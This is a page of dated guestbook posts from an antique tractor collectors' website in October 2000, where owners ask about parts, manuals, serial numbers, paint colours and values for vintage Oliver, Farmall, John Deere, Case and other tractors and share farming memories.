Jerry wrote on Saturday, October 21, 2000 (PDT):I am the proud owner of a 1955 super 55-gas in very good condition, used daily. in north texas area i have two sorces of people who will get oliver parts for you. they are Daniel Impl.-1-800-950-8628, Zimmerer Kobota -1-800-582-6823. These have been a big help to me in getting those hard to find parts. I found a shop manual from Intertec Publishing Corporation P.O. Box 12901 Overland Park, Ks. 66212. I have newer tractor to do the most of my work but i love my old oliver, it is in the process of a new paint job for shows at the present time, although im not shure of the color scheme will be original as it seems to be dificult to find out what the original was for sure.
adam gosnell wrote on Friday, October 20, 2000 (PDT):did you leave it a 6 volt
Doug Flath wrote on Friday, October 20, 2000 (PDT):I have an old McCormick Deering tractor. I think it might be a 10-20. This is the number I got off the plate; KC152889. I'd like to start restoring it and curious as to what year and model it is. Any help would be appreciated.
Bob Klaus wrote on Thursday, October 19, 2000 (PDT):Any info out there on a Farmall Model F30 or T-20. the seria #is QC5948 which leads me to believe it is a 1934 F30 from your serial # info file. Has Iron wheels. ran 2 or 3 years ago sitting a Field since then. Any info or comments possible value would be appreciated, thanks, Bob
Mark Honecker wrote on Thursday, October 19, 2000 (PDT):I have my grandpa's "52" 8N. I Would like to install a flathead V8 I am looking for any help I can get.. And if any one has a flathead v8 for sale in any condition..
TERRY CLOUSER wrote on Thursday, October 19, 2000 (PDT):I RECENTLY BOUGHT A 57 SUPER 77 GAS WITH FACTORY POWER STEERING, IS THIS A RARE TRACTOR. THE POWER STEERING UNIT IS LEAKING AT THE TOP WHERE IT COMES UP BEHIND THE GRILLES. IT LOOKS LIKE THERE IS SUPPOSED TO BE A SEAL OR SOMETHING ON TOP OF IT. IF ANYONE KOWS ANYTHING ABOUT THESE YOUR HELP WOULD BE APRECIATED.
Mick Faulkner wrote on Thursday, October 19, 2000 (PDT):I need big end bearings & a Starter motor for a 1953 Allis B in England, can anyone help. Mick
John wrote on Thursday, October 19, 2000 (PDT):I have a 1946 Cletrac AG-6. (Runs with a Willys 6-cyl gas engine). Tracks are worn, and the right side suspension spring is broken. Can anyone point to sources I should check out for parts??
Mike Pie wrote on Thursday, October 19, 2000 (PDT):I own a 1955 300 in great shape. The power steering unit needs to be rebuilt. Any spares out there?
Don wrote on Thursday, October 19, 2000 (PDT):I am looking to purchese a 1963 Massey Ferguson 35 Special. It looks to be in excellent condition everything works and runs good. The serial #SGF 238150 I believe makes it a 1963 . Any info would be helpful. What is it's value and are parts hard to find? Thanks for your help......
Mike Nassif wrote on Thursday, October 19, 2000 (PDT):I recently purchased a Super 55 diesel with an Oliver loader. i am now in the process of experiencing the joy of paying for a MAJOR overhaul. I know it'll be worthwhile. My uncle has a '55 55 since new & it's been fantastic.
dirk van papendorp wrote on Thursday, October 19, 2000 (PDT):My dad used to tell me about the TD-35 they had on our farm and that did almost all the work on our wheat farm in the Western Cape province of South Africa. As I only heard about this formidable little tractor, it was interesting to see it in a photo and well preserved. Farmers in our area sadly sold most of the old stuff to scrap dealers. My dad later traded it fot two Cat D2 tractors which did sevice for 25 years and was also the first tractors which I worked with. Many a good story were told about how they outperformed the first wheeltractors with double the horsepower, especially in wet conditions!
Nick Beazley wrote on Thursday, October 19, 2000 (PDT):The Field Marshall series 2 tractor, in my opinion is one of the most classic and interesting pieces of machinery that mankind can give credit to. I hope that the site can eventually give this tractor some credit in its home page as both I and many other site hitters believe it should. Long live the Marshall!!!
Mike wrote on Wednesday, October 18, 2000 (PDT):I own a 1940 "H" which we still use to haul cordwood. This little beaut also has a cordwood rig mounted to the front which is run off the pulley with a belt. We have owned it for about 30 years with very few problems!!
Randy B. wrote on Wednesday, October 18, 2000 (PDT):Very nice picture of the 560. My uncle has a 460 that he has used for years. And what a workhorse. He has used it to disc land, pull a 3 bottom 14" turning plow as well as irrigate the tobacco fields pulling three rainbird guns and never putting it under a strain. He has had an Oliver Row-Crop 77, Farmall Super A, John Deere 2040 and a Farmall F-20, but his favorite baby will always be the 460. IH is the best.
Craig Hayton wrote on Wednesday, October 18, 2000 (PDT):Amanda Blake I also have a super 77 diesel. Tim Smith of Dalton Ohio might be able to help you. His phone number is 330 832 9792. Also join the Oliver club contac Sherry at 217 563 8327. I hope you enjoy your 77 as much as I do mine. Good luck if I can be of any more help e mail me. Craig
Scott MacDougall wrote on Wednesday, October 18, 2000 (PDT):I have a couple of things, one does anyone know where there is a jd bw in the New England area. I live in southern NH. also i have two jd b's I am restoring and I need the steering wheels redone and I don't know who to send it to, can anyine help? Thanks
Scott MacDougall wrote on Wednesday, October 18, 2000 (PDT):I have a couple of things, one does anyone know where there is a jd bw in the New England area. I live in southern NH. also i have two jd b's I am restoring and I need the steering wheels redone and I don't know who to send it to, can anyine help? Thanks
dale nelson wrote on Wednesday, October 18, 2000 (PDT):I,m looking for a gas tank for farmall 300 in good condition thank you....
James Jones wrote on Wednesday, October 18, 2000 (PDT):I Have a 46 oliver industrial 70,we used it on the farm untill my dad retired in 74.I use it for plowing snow and getting wood.
Anthony Campbell wrote on Wednesday, October 18, 2000 (PDT):I am looking for a 420c or 430c w/blade/pto/3pt hitch for mowing and cleaning brush off hillsides in East Tennessee. I am looking for good to restored condition. Will pay reasonable price....not a collector....just a farmer. Work Phone (423)378-8265 Home Phone (423)753-2158
Tom Nesbitt wrote on Tuesday, October 17, 2000 (PDT):I bought a 1967 Ford Dexta 2000 today. I would like to find a copy of the manual for it as well as a place to buy parts if needed. It runs well and seems very strong, however there is a slight leak in the desiel fuel tank on the lower right side. If anyone can send me a copy of the manual I would gladly pay you for it.
Kurt Bergman wrote on Tuesday, October 17, 2000 (PDT):I have got fenders, a gas tank, 2 radiator shutters and a few other parts from a wd tractor. I do not need these parts do to the the tractor has been modified with a loader and a set of reversed gears to operate.
Bill Everts wrote on Tuesday, October 17, 2000 (PDT):I need a piston and rod for a Farmall F20 (1937); standard bore 3.570. Do you know where I can find parts? Thanks.
John Dunlap wrote on Tuesday, October 17, 2000 (PDT):Where can I get new fenders for my '72 Ford 3000 with the toolbox (aftermarket)? Rust has overtaken them. I live in the Sacramento, Calif.area.
Tom Wood wrote on Tuesday, October 17, 2000 (PDT):I have a 1939 Oliver 70 that has no belt pully gears. It just has a cover. Is that cover rare? Also, the tag on the motor has a "B" signifing the wide front. The front end is narrow. I would love to get a wide front for it.
JODY HAMM wrote on Tuesday, October 17, 2000 (PDT):THERE IS A TOY B FARMALL LISTED ON EBAY RIGHT NOW.
cary wrote on Monday, October 16, 2000 (PDT):need a manifold/exhaust for 52 case sc row crop_____please write
Tim Bechdol wrote on Monday, October 16, 2000 (PDT):have a super a need to know how to hookup belly mount cultivator picture would be great P.O. box 5094 Gallup,N.M. 87305 thanks for this shed
Len Freeman wrote on Monday, October 16, 2000 (PDT):I met a Farmall man in Illinois this summer who showed me a picture of what he called "the only decent John Deere ever made". It was red. The story goes, that this JD was purchased for use at an airport and it was ordered painted red so that it could be seen by pilots while it was working around the runway. I have a 1938 model D JD here in Florida near final restoration and ready for parade duty. It will always be my favorite color - GREEN!
ace wrote on Monday, October 16, 2000 (PDT):the above add is mine sorry
ace wrote on Monday, October 16, 2000 (PDT):the above add is mine sorry
ace wrote on Monday, October 16, 2000 (PDT):ive got a 46 b ser# 191264 i need a complete carb my tractor was converted to propane and i would like to convert back
Bryan wrote on Monday, October 16, 2000 (PDT):Looking for a loader for my C. 1948 serial #4000. any help with price or comments please
Arthur Smart wrote on Monday, October 16, 2000 (PDT):To Brian,Bruce Thompson,&Tiffany lots of info about Oliver Tractors contact Hart-Parr Oliver Collectors Assn. P.O. Box#685 Charles City, IA 50616 hpocacc at fiai.net 641-228-5406 For Gene The capacity for the transmission and differential of the oliver 70 is 6 and 1/2 gallons of #90 transmission oil. I just rebuilt a 1946 standard and am about to start on a 1936 standard
Gene Kuhel wrote on Monday, October 16, 2000 (PDT):I have a 70 Row Crop that I just got it moved to my yard from the farm where I use to plow with this tractor. I need to find some parts for it. Like the entake/exast manifold , side covers , and hand crank. Its a 6 cyl , 1948 Oliver 70 series wheel tractor Row Crop ser# 265016 . I also need a rebuilder manual too.
david singh wrote on Monday, October 16, 2000 (PDT):does anyone have a six speed gearbox for a fordson major e27n the model is 1945 to 1951.these tractors had a three speed gear box. but you can bolt on a overdrive box in front to double the gears . it is called darlington overdrive
Shep wrote on Monday, October 16, 2000 (PDT):Still seeking lower seat assy. and brakes for my 550. I've made my own floorboards. Another good site is www.farmandcountry.com They have lots of after market parts available for a variety of tractors and equipment.
dale nelson wrote on Monday, October 16, 2000 (PDT):I,m looking for farmall 100 that can be rebuild .. or one is in fare shape...
Fred Palmer wrote on Monday, October 16, 2000 (PDT): Jesse Hughes, I bought a 300 U with a Torque Amplifier in june and it has power steering.
John Logsdon wrote on Sunday, October 15, 2000 (PDT): Seeing all the comments on the 720's pulling power reminded me of one that I farmed with during the sixties. We had a new '61 JD 4010 pulling a spinner moldboard with 3 sixteen bottoms in a field following harvest. We were plowing in fourth gear at a depth of about 7 to 8 inches. I wanted to see how the 720 would do and went over and fell into the furrow behind the 4010. This surprized the hired hand but he didn't stop. At the end of the half mile through, the 720 was about 6 lengths behind. Granted I had to keep the 720 real hard at work. The gear on the 720 was just a tiny bit slower and this caused some of the distance. I think the 4010 diesel was and is one of the finest tractors I ever drove; I know the 720 was not in its power class, but It was about as I had figured it to be. Ever wonder which one would outpull the other at the drawbar? I wondered also and my brother and I hooked the 720 to the 4010 with a big chain. I pulled the 720 in 2nd, idled down, he was going to pull me backward with the 4010 in 3rd. I was a little anxious before the start since I didn't have any wheel weights on the 720', the 4010 had two to each wheel. I pulled him all over the place. We tried three different times; same result. When daddy came in and saw the tracks where the 4010 had be dragged, he wanted to know "What was going on out there?" He of course was afraid of a tractor rearing up, but we rode them every day and were too good to have let that happen. I'm retiring the last of this year and am moving back to the contry, got the place bought already, and the first thing I will do is have a nice shop built where I can work on tractors. The second thing is to buy a 720/730 diesel. The 4010, super 88, M-5, M Farmall, UTU (I like punishment), and 1800 Oliver will come asap. I must be crazy, those AC D17s are even looking good to me as well. Well, maybe a Ford, v8 powered would top off the collection. Enjoyed just thinking about the old times. John
John Logsdon wrote on Sunday, October 15, 2000 (PDT): Seeing all the comments on the 720's pulling power reminded me of one that I farmed with during the sixties. We had a new '61 JD 4010 pulling a spinner moldboard with 3 sixteen bottoms in a field following harvest. We were plowing in fourth gear at a depth of about 7 to 8 inches. I wanted to see how the 720 would do and went over and fell into the furrow behind the 4010. This surprized the hired hand but he didn't stop. At the end of the half mile through, the 720 was about 6 lengths behind. Granted I had to keep the 720 real hard at work. The gear on the 720 was just a tiny bit slower and this caused some of the distance. I think the 4010 diesel was and is one of the finest tractors I ever drove; I know the 720 was not in its power class, but It was about as I had figured it to be. Ever wonder which one would outpull the other at the drawbar? I wondered also and my brother and I hooked the 720 to the 4010 with a big chain. I pulled the 720 in 2nd, idled down, he was going to pull me backward with the 4010 in 3rd. I was a little anxious before the start since I didn't have any wheel weights on the 720', the 4010 had two to each wheel. I pulled him all over the place. We tried three different times; same result. When daddy came in and saw the tracks where the 4010 had be dragged, he wanted to know "What was going on out there?" He of course was afraid of a tractor rearing up, but we rode them every day and were too good to have let that happen. I'm retiring the last of this year and am moving back to the contry, got the place bought already, and the first thing I will do is have a nice shop built where I can work on tractors. The second thing is to buy a 720/730 diesel. The 4010, super 88, M-5, M Farmall, UTU (I like punishment), and 1800 Oliver will come asap. I must be crazy, those AC D17s are even looking good to me as well. Well, maybe a Ford, v8 powered would top off the collection. Enjoyed just thinking about the old times. John
Scott Repik wrote on Sunday, October 15, 2000 (PDT):That is a AOS because it is stream lined. My father and I restored a 1936 John Deere AR. It is a little the same.
Kelly Shanholtz wrote on Sunday, October 15, 2000 (PDT):I am looking for fenders for my husbands 1948 WD45 in great condition, I am hoping to find some before Christmas....PLEASE HELP!!! Any information as to where I could find them would be appreciated.
Carol Johnson wrote on Sunday, October 15, 2000 (PDT):Do you know an Oliver Super 55 (gas) for sale?? My father is restoring Oliver tractors. He started farming in Wisconsin with a Super 55 and would like to add one to his collection.
David Ernst wrote on Sunday, October 15, 2000 (PDT):I am currwnrly restoring a 1917 titan that was my grandfathers. Am interested in finding paint color codes and a fuel pump. Was the IHC logo on the water tank red?
ROBERT MCDERMITT wrote on Sunday, October 15, 2000 (PDT):LIKE TO HAVE ONE I HAVE A M& SUPER M
Stan Sandman wrote on Saturday, October 14, 2000 (PDT):I have a 1941 BO Lindeman serial# 332335. Iwould like to know what is the lowest serial # that is still in exsistance?
chris hale wrote on Saturday, October 14, 2000 (PDT):I have several olivers in my collection including 60,70,80, 90, and 99.Also 66,77,88,super88 diesel,and a 550.I would be interested in locating a 44 or a 440.Please e-mail me if you know of any available.I also have duplicates of some of the above tractors.
John Gomes wrote on Saturday, October 14, 2000 (PDT):I just bought a 1950 case S with a loader and in nice working condition, I would like to know about a 3 point hitch system for it, Where would i find it? and I see that alot of people are looking for rebiuld kits for the engine, are they that hard to find? are parts in general hard to find for these tractors? I bought it to use at the cottage, to move some gravel around, but I would like to add a post hole driller so I need the hitch any help
Chuck Bowen wrote on Saturday, October 14, 2000 (PDT): I have a 1941 "H" that my Grandpa bought new in Williston, ND. It came out on steel, but was later converted to cutdown rubber. Thats where they cut the steel rims off, put on a flat bottom rim and pnuematic tires. Was this common during the war. The rims are spoked like an F-20. I also need to replace the rims. One rusted out and when my Dad owned the tractor and I replaced it with a dropcenter rim off a Cockshutt, but I would like them to both be the same. Six generations of Bowens have ridden that old "H".
David L. Humphrey wrote on Saturday, October 14, 2000 (PDT):420T John Deere; I own a working 420T which is the last purchase my father made before he died in 1976, so it is very special to me. The the 3pt lift has stopped working, though, so I could use some advice on troubleshooting it. I am not the greatest mechanic. Also, what is the correct paint for the 420 made in 1956? I am told there is more than one version of JD "green" Thanks, David.
john hasse wrote on Friday, October 13, 2000 (PDT):Just got one that was past down from my father, Starving for info! looking for a wide front end.
David Struck wrote on Friday, October 13, 2000 (PDT):I own a 1949 Case SC. I use it to field mow 5 acres. This year I would like to plow the driveway, does anyone know if they make a snow/dirt blade for the SC. If so, were can I find one. I am desperate!
Seymour Bjorlie wrote on Friday, October 13, 2000 (PDT):I've got a 1930 22-36 in working order. It was running this summer. It was parked outside from 1952 to 1997. The metal is in in good shape. There isn't any paint left on it. The orignal lugs and lug extensions are still on it. The tractor was last used in 52 for theshing and was parked along with a 28" Allis Chalmers threshing machine. The threshing machine is in poor shape with all the wood and belts gone although the metal is good. I'm considering selling it and am wondering what it's worth. By the way it's located in eastern North Dakota.
Stephen wrote on Friday, October 13, 2000 (PDT):Looking for an air filter assembly for my 1935 W12 serial# WS9550
Jeremy Durham wrote on Friday, October 13, 2000 (PDT):I am looking for any and all 98 Masseys' powered by the Detroit diesel.Any condition wanted!Any leads or help finding this tractor are greatly appreciated!Thanks
david Cohrs wrote on Friday, October 13, 2000 (PDT):again if anyone has any info about a 44-6 {with continental 6 cylinder engine} i would appreciate you sending that to me like #produced, hp, weight, how rare of a tractor is this?we picked it up for $1000.00 dollars i think we got a good deal considering it's been totally repainted.
Jesse Hughes wrote on Thursday, October 12, 2000 (PDT):My father owns a 300 utility that is in pretty good condition. We might be restoring it. I myself am looking into another one that is sitting in some weeds for $400. I need to know if the 300 utility with the Torque Amplifier had power steering or not. I cannot tell with this tractor.
Jim Broughton wrote on Thursday, October 12, 2000 (PDT):To; Doug Weaver... Doug, do you have one of the emblems in good shape? If so remove it CAREFULLY. take it to a sign shop or a plastics company with a PATTERN ROUTER...they can duplicate it for you in 1/4 inch chrome plastic...simply drill small one eighth inch hole where the screws go and mount it on your tractor. That's what I did on my 59, and it looks great..the only giveaway is it is shinier than the original.
kevin cantine wrote on Thursday, October 12, 2000 (PDT):Just got a 1939 H from a relative. Needs 1 rim for sure, probably 2. Please email me if you have anything to offer.
GTX wrote on Thursday, October 12, 2000 (PDT):i am looking for one 500.00-100.00 dollars
Amanda Blake wrote on Thursday, October 12, 2000 (PDT):I recently bought a 1955 Oliver super 77 diesel. It has been restored except for the sheet metal. It runs great and I plan to complete the restoration. I would like to know what the original colour scheme of this tractor was. I have seen several combinations, but want to do mine original. I also need the original rear wheel rims which were 11-38 I believe. I would also like to replace the hood, cowl and grills. The front side curtains are missing so I would also like to buy them. I am really enjoying my Oliver and plan to buy at least one more. Any help I can get will be appreciated. I want to order the paint as soon as I know which colours to buy.
Jack Mayers wrote on Thursday, October 12, 2000 (PDT):I just purchased a 1957 Fordson Major Diesel. I wanted to change the oil before running it and found several large pieces or flakes of metal(1 to 2 inches across and irregularly shaped) in the oilpan. I figure it's a bearing. Can anyone help me find a bearing kit for this tractor? Thanks
Billy Carter wrote on Thursday, October 12, 2000 (PDT):I would like to know if anyone knows any body who would like to sell a JD ModelB. If so please e-mail me. Thank You
David Fransen wrote on Thursday, October 12, 2000 (PDT):Wow, does this site bring back memories. I worked on my uncle's ranch during and shortly after high school in the late 60's and early 70's. The main workhorse tractor was a 560 Diesel. We used it year round for everything, in conjunction with several Farmall M's and H's and a Case VAC. The 560 did everything that was asked of it, from a 5 bottom plow, to cutting silage, to planting wheat, grinding feed, there was nothing that was too tough. Loved the TA, especially when plowing. And yes, gotta love the sound of that engine under load.
David W. Boelman wrote on Thursday, October 12, 2000 (PDT):I presently own one of these tractors. I have had it restored and it runs perfecty. I would like to know how big of a plow it would really plow in heavy Iowa ground? I know that it just plays with a four-sixteen 4340 Oliver plow.
Nathan Crabtree wrote on Thursday, October 12, 2000 (PDT):I have a 1951 Farmall Cub I need to know where I can get parts and manual to rebuild the engine. This Cub has been seting for 17 years.Thanks
Randy Brande wrote on Wednesday, October 11, 2000 (PDT):Avery nice picture of the 560. I grew up working on my uncles tobacco farm and he had a 460 that did a great job of pulling the harrow and also a 3 bottom 14" plow. He used it also to pull three rain bird irrigation guns during the summer. This tractor is truly a workhorse and he still uses it today to tend his garden. He has always said it was the best tractor he ever bought, except of course for his Farmall F-20.
Bob Frawley wrote on Wednesday, October 11, 2000 (PDT):I'm looking for an International 300 Utility model toy tractor of any scale. I drove one on our family farm, and would like to get a model for a keepsake. Would appreciate any help. Thanks.
chris mitchell wrote on Wednesday, October 11, 2000 (PDT):I HAVE TWO OF THESE TRACTORS ONE IS ON RUBBER AND THE OTHER IS ON STEEL EITHER TRACTOR IS COMPLETE BOTH HAVE THE FOUR CYLINDER BEAVER ENGINE WOULD LIKE MORE INFO ON THESE TRACTORS AND ANY PARTS NEED A RADIATOR COMPLETE
John Chovanes wrote on Wednesday, October 11, 2000 (PDT):Gary Buhr ------ The difference between your VAC & The VAC 14 is that the 14 is an industrial version.
Kevin Buhmann wrote on Wednesday, October 11, 2000 (PDT):I am looking for new or great conditioned used WD45 fenders
Merle Woodin wrote on Wednesday, October 11, 2000 (PDT):I have a 62 Dexta, 144 cu.in diesel, and need an exhaust manifold. Any help out there on where I can find Dexta parts?
DENNIS wrote on Wednesday, October 11, 2000 (PDT):I JUST PURCHASED A 1953 SC MODEL WOULD LIKE INFO ON THIS TRACTOR FOR PARTS IN MY AREA PETERSHAM MASS 01366THANK YOU
matthew evans wrote on Tuesday, October 10, 2000 (PDT):i just bought a 9_18 b 1918 case brothers very complete would like to know how much it is worth please call or write 1-505-538-2980 or email poss will sale it or trade it
Sean , Wa wrote on Tuesday, October 10, 2000 (PDT):To find more info on antique tractors try yesterdaystractors.com Also Iam looking for a belley mower for my 1955 LoBoy
Chris Dyrdahl wrote on Tuesday, October 10, 2000 (PDT):I have a Farmal M and just love it my first tractor, any way I have a old du-al loader on it and it works good but the old seals are leaking on the hydraulics I was told that they don't make that kind of seals anymore. What do I do without buying new hydraulics cylenders.
Mike Quisenberry wrote on Tuesday, October 10, 2000 (PDT):I have a 1956 super 77 Diesel with wide front end. I need a crank. Would like to restore and put it to use. If you know the where-abouts of a crank please let me know (quiz at iserv.net). My uncle owned an Oliver dealership where my father worked as a mechanic in the 1960's.
Clayton Harra wrote on Tuesday, October 10, 2000 (PDT): I currently have a 1963 560-D that has been completely overhauled front to back. This girl starts and runs great. It really has a sound of its own when it hooks to plows. Was also wondering if anyone has any old Firestone 23 degree 15.5 X 38 gum dipped tires for sale.
Clayton Harra wrote on Tuesday, October 10, 2000 (PDT): I currently have a 1963 560-D that has been completely overhauled front to back. This girl starts and runs great. It really has a sound of its own when it hooks to plows. Was also wondering if anyone has any old Firestone 23 degree 15.5 X 38 gum dipped tires for sale.
AUGUSTO PALUAN - italy- wrote on Tuesday, October 10, 2000 (PDT):I AM A COLLECTOR OF OLD TRACTORS. PRESENTLY I AM RESTORING A TITAN 10-20 AND SOME SPARE PARTS OF IT ARE REQUESTED, LIKE LABELS AND SPARK PLUG. I AM LOOKING FOR A PARTS MANUAL. I WOULD LIKE TO GET IN TOUCH WITH PEOPLE THAT HAVE THE SAME HOBBY AND PASSION.
Jerry Button wrote on Tuesday, October 10, 2000 (PDT):My father purchased the Farmall C in Campbellsville, Kentucky in 1949. I was 6 years old. When it was delivered, I thought it was great. Two weeks later, while mowing pastures, dad drove the front end into a sink hole and broke the tractor in half just behind the radiator. Needless to say it was a sad day for the family. Later it was repaired and brought back home. We later moved to the city and the tractor was given to my uncle. It was used many years there after on my uncle's farm. He died a few years back and the farm was auctioned. God only knows who has it know. It was a fantastic machine that really looked great. All my other relatives had Deeres with the hand clutches. Those were the good years.
Tom Ledford wrote on Monday, October 09, 2000 (PDT):I have a 1952 WD that I use for pulling I am current setting in third place in my weight class of 4000 lbs the tractor is all stock ,but it seems to have lower gears than the other WDs in my class
Christ St.Germain wrote on Monday, October 09, 2000 (PDT):Hello everybody, trying to restore my 1949 Farmall H and can't find a manual for it, paid $200 for it and just need some help, if anyone can tell me how many turns out the high speed and idle jets would be..Thanks Chris
C.W.Broughton wrote on Monday, October 09, 2000 (PDT): I was scrounging around an estate sale near Eugene,Oregon and came across what looks like a 1930ish McCormick-Deering that could possibly be a 22/36 no side curtains, but everything else seems to be there, rear tires are shot, but the rims still look good...and it is going to the crusher in about two weeks, so if anyone is interested... better act fast...I'm sure the folks would be reasonable pricewise, sorry, I didn't try to turn the motor over, so don't know if it is "free" or not. (I'm not interested, I collect smaller models)
Paul G. wrote on Monday, October 09, 2000 (PDT):My friend and I recently aquired a Farmall H tractor Serial # FBH177544. We are looking to restore this old girl. Can any one tell us what year this tractor is and where we might find a repair manual? Thanks, Paul
GeneD14 wrote on Monday, October 09, 2000 (PDT):A D14 is a perfect size to grade a driveway with and other general chores. It can handle a 5'-6' Bush Hog mower, 2 or 3 bottom plow. I have a heavy 7' blade that I use behind mine to grade the drive. It's a great tractor!
Larry Nicholson wrote on Monday, October 09, 2000 (PDT):I have a Parade ready 1951 Cub in good condition for $2900.00 and I am in Florida.
Terry wrote on Monday, October 09, 2000 (PDT):The "B" is a very good tractor for a couple of reasons. They are very forgiving of bad tractor mechanics. It is hard not to make them run once they are running. They are simple to figure out. This part turns that part which turns that other part. Tons of new and used parts available. They stimulate the economy because the parts, new and used cost so much. Many variations, wide, narrow, no hydraulics, some hydraulics, lots of hydraulics. The lumber people don't particularly like them because they really do not need to be sheltered. Cover the exhaust, optional, and leave them outside. Still runs like a top. Don't get me wrong, I like the B, have a couple myself. I can't seem to get everything working exactly right at the same time everyday. Always some gremlin around.
Pam Conklin wrote on Sunday, October 08, 2000 (PDT):Could someone tell me if there was ever a red John Deere. I was at a Farm Show, where a man told me there was at one time. I would like to know more on this and see a picture if anyone can help. We recently bought a can of red John Deere paint, and wondered about it too. Thank you Pam Conklin
Stephen Nichols wrote on Sunday, October 08, 2000 (PDT):I have 1945 "H". The front end is currently a wide front end, but is not the original. I have the original narrow front end, and would like to know two things. 1. Is the value of the tractor decreased because of the change? 2. I have heard alot of horror stories about the tractors stability with the narrow front end. Are these just rumors, or is the wide front end safer? This is a good site! Keep up the good work.
Grandpa Bud wrote on Sunday, October 08, 2000 (PDT):Wanted a farmall m in working condition in western Pa. or eastern Ohio
Brittany Johnson wrote on Sunday, October 08, 2000 (PDT):I am restoring an Oliver 70 RC and I am at the point of installing the handcrank and I would like to know what would work well for the pin that goes through the crank handle and locks in on the front pulley - if you have a suggestion please write to me!!
Gary Dreyer wrote on Sunday, October 08, 2000 (PDT):my IH looks like this,but I'm not sure. SN # 377237-R1 I'm not sure what model I have
don hewitt wrote on Sunday, October 08, 2000 (PDT):if you rent the movie "analize this" there is a 720 in the first min. of this movie. it was rented from a collector from long island ny, i was the actor playing the farmer.i own a 1950 8n.i would like to buy a 2020 diesel......
Dale wrote on Saturday, October 07, 2000 (PDT):Can anyone tell me anything about my Massy Harris 444? I haven't seen any information about the 444 yet. Found lots of stuff for other models but no mention of the 444. It's narrow front end on rubber with a 4 cylinder gas motor 5 speed gearbox with reverse. Has pto and hydraulics with lift arms. Please e-mail me with any tidbits of info, anything at all.
JULIUS wrote on Saturday, October 07, 2000 (PDT):I am restoring a 1946 Farmall AV. I purchased a battery box believing it would fit just as an A would. To my suprise it's on center distance for the tabs on the side is 6 inches and the other A's I have measured is 5 inches on center. Why would Farmall change the specs between the two models I would like to know.
JESSIE BRADSHAW wrote on Saturday, October 07, 2000 (PDT):I HAVE A 1943 SC CASE TRACTOR COMPLETELY RESTORED. I CURRENTLY TAKE THE TRACTOR TO SHOWS AND PARADES. I WOULD LIKE TO FINA A CASE FLAG TO DISPLAY. PLEASE CONTACT ME IF YOU HAVE ANY IDEAS. THANKS
Frank Baker wrote on Saturday, October 07, 2000 (PDT):I aw looking for a cub in good running condition in thr connecticut area
Rico Lehmann wrote on Saturday, October 07, 2000 (PDT):Hi. I am from switzerland. I have a Mc Cormick Deering Tractor from the year 1927. the last seven years I restore this tractor. I spend al lot of time to find parts and informations. To make this tractor orginal, I need about 96 Spade lug. Can help me somebody? I pay good prices for them. Thanks a lot.
pauline bendure wrote on Saturday, October 07, 2000 (PDT):looking for parts for 1952 farmall-c, need carb, starter new or rebuilt
steve terwilliger wrote on Saturday, October 07, 2000 (PDT):beautiful 1941 model h for sale restored runs like a top live in central ny e-mail or call 607-758-7290 ask for steve
steve terwilliger wrote on Saturday, October 07, 2000 (PDT):beautiful 1941 model h for sale restored runs like a top live in central ny e-mail or call 607-758-7290 ask for steve
Jim Kasparie wrote on Friday, October 06, 2000 (PDT):Like Goldwin above, I am looking for a front blade for my 49 Cub, I am in Illinois, if you have something that might work please e-mail me, Thanks!
Dick Hamby wrote on Friday, October 06, 2000 (PDT):Webb wrote on oct 3 wanting a G tractor. I have one but the response was no such E address.
paul wrote on Friday, October 06, 2000 (PDT):i have a G allis i am restoring it has a mower on it call KUB-KLIPPER model K-4 by sunflower industries olathe kans. any one have any info. on this set up thanks
Eric Frederick wrote on Friday, October 06, 2000 (PDT):To Gilbert Ray. Sorry dont have them.
samuel toulson wrote on Friday, October 06, 2000 (PDT):I WOULD LIKE TO KNOW WHERE I CAN FIND ANY IMFORMATION ABOUT A TO 35 FERGUSON TRACTOR AND WHERE I CAN FIND PARTS FOR MY NEW TRACTOR?
Hershel Evans wrote on Friday, October 06, 2000 (PDT):I am interestes in purchasing a tractor for grading my drive way and other small task. would a D-14 be large enough for this? And how much can I expect to pay for one in top shape? I live in west Ky. I would like to see one whithin 150 mile radius Your help will greatly appreciated.
Cale wrote on Friday, October 06, 2000 (PDT):Hey guys, I know this is a 720 forum, but does anyone know where a good 710 information source is? I need some parts and have been drawing a blank everywhere I go. Thanks for any help you can give, Cale
Muhammed Bako wrote on Friday, October 06, 2000 (PDT):I would like to buy massey ferguson model 165, 175, 188. Please let me hear from. you
Ronald Peters wrote on Thursday, October 05, 2000 (PDT):My question is a general about all case tractors what years were the case tractors made and which one would be the best for al around use
Ronald Peters wrote on Thursday, October 05, 2000 (PDT):My question is What Years were the Ford 8N and 9N tractors and which one is best for all around use and how easily are parts found for these tractors
Bill Subik wrote on Thursday, October 05, 2000 (PDT):Hello we are getting ready to restore and try to repair our ZB that my father bought new in the early 50's. Does anyone know anyon ehtat would possibly have one for sale? We may be interested in buying another one. Please get ahold of me as soon as possible.
Dale "The Tractor Guy" wrote on Thursday, October 05, 2000 (PDT):I enjoyed the comments. I assume the Coca Cola is used to pour into the cylinders through the spark plug holes to free stuck rings/pistons. I just purchased a Farmall F-14, 1939. Looking forward to fixing it. Carburetor is being overhauled back in Missouri, need one rear tire and 2 front tires, clean gas tank, clean and lubricate governor parts leading to carburetor, change oil and filter, and then plugs. I will then start it and drive it. I am missing sheet metal above the hood, under the steering shaft, above the carburetor. It is a small piece. Know where I can find it? Dale "The Tractor Guy" in Loomis, CA
russell robinson meriden ct, wrote on Thursday, October 05, 2000 (PDT):I own a 1949 model g and will soon be restoring it. I love this tractor it is a total work horse.My tractor needs paint,decals,dials, and need to fix a oil leak in the axel seal. Any helpful advise would be helpful, thanks
BOB VAHEY wrote on Thursday, October 05, 2000 (PDT):what color should a 1926 1530
David W. Boelman wrote on Thursday, October 05, 2000 (PDT):I own a 1956 Super 99 GM which I bought six years ago. Before restoring it I used it in the field plowing and field cultivating. When field cultivating I would drop an 18 ft. field cultivator in the ground and let it go in fourth gear. It never even phased it as it went down the field. When I went to bed at night my ears just rang. Dave Boelman Belmond, Iowa
Jason Snyder wrote on Thursday, October 05, 2000 (PDT):I was wondering wether you found an 8-N yet to trade for your super 44? I was also wondering if you wanted to sell your super44 and how much you were asking for it? If you could e-mail me back and let me know it would be much appreciated. Thank you Your oliver buddy Jason
SteveMagierka,Jr. wrote on Wednesday, October 04, 2000 (PDT):Need crankshaft for 720
Bill Seip wrote on Wednesday, October 04, 2000 (PDT):My Grandfather in Southern Ontario Canada owned a Case L Or La which he used for farm, custom threshing and mill work until the 1950's. I was too young to know the exact model ? It looked very similar to the LA, especially the rubber wheels but was gray in colour with square fenders. Would any one know if the first versions of LA would have been grey or perhaps a later model of L ? Thanks
